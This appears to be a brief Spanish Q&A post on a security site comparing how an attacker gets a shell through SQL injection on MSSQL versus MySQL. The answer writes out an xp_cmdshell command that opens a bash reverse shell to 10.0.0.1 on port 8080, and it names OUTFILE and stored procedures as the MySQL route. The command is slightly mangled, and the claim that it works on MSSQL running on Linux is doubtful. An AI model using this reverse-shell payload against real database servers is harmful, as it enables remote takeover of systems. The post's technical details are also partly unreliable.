¿Cuál es la diferencia entre cargar una shell a través de sqli en mysql vs mssql?
¿Cuál es la diferencia entre cargar una shell a través de sqli en mysql vs mssql?
MSSQL tiene un comando incorporado llamado xp_cmdshell que ejecuta los comandos del sistema para ti (¿qué tan útil, eh?). Entonces, así es como se obtiene un shell en un sistema Linux que ejecuta MSSQL:
EXEC xp_cmdshell ‘bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1 ’
Con MySQL, tienes que ser realmente inteligente en cuanto a las cosas y usar OUTFILE, un procedimiento almacenado o algo similar.
Lea otras preguntas en las etiquetas shellcode